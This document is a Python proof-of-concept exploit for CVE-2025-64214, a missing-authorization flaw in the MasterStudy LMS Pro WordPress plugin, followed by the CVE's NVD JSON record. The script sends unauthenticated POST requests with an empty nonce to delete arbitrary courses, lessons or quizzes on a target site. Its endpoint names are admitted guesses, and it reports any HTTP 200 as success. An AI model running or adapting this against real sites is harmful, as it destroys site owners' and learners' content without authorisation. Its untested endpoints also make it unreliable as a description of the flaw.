CVE-2025-64214

import requests import sys # CVE-2025-64214 PoC - Missing Authorization in MasterStudy LMS Pro # Target: WordPress site with MasterStudy LMS Pro < 4.7.16 TARGET_URL = "http://target-wordpress-site.com" # Replace with actual target URL def delete_content(content_id, content_type="course"): """ Exploit missing authorization vulnerability to delete arbitrary content without authentication """ # Common endpoints that may be vulnerable endpoints = [ f"{TARGET_URL}/wp-json/masterstudy/v1/{content_type}/delete", f"{TARGET_URL}/wp-admin/admin-ajax.php", ] for endpoint in endpoints: if "delete" in endpoint: # Direct delete endpoint data = { "id": content_id, "_wpnonce": "" # May not be required due to missing auth check } else: # AJAX endpoint data = { "action": "masterstudy_delete_content", "content_type": content_type, "content_id": content_id, "_wpnonce": "" } try: response = requests.post(endpoint, data=data, timeout=10) print(f"[*] Request sent to: {endpoint}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:200]}") if response.status_code == 200: print("[+] Potential successful exploitation!") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] content_id = input("Enter content ID to delete: ") or "1" content_type = input("Enter content type (course/lesson/quiz): ") or "course" print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Attempting to delete {content_type} with ID: {content_id}") delete_content(content_id, content_type)

{"cve": {"id": "CVE-2025-64214", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:11.527", "lastModified": "2026-04-27T16:16:35.263", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in StylemixThemes MasterStudy LMS Pro masterstudy-lms-learning-management-system-pro allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects MasterStudy LMS Pro: from n/a through < 4.7.16."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/masterstudy-lms-learning-management-system-pro/vulnerability/wordpress-masterstudy-lms-pro-plugin-4-7-16-arbitrary-content-deletion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}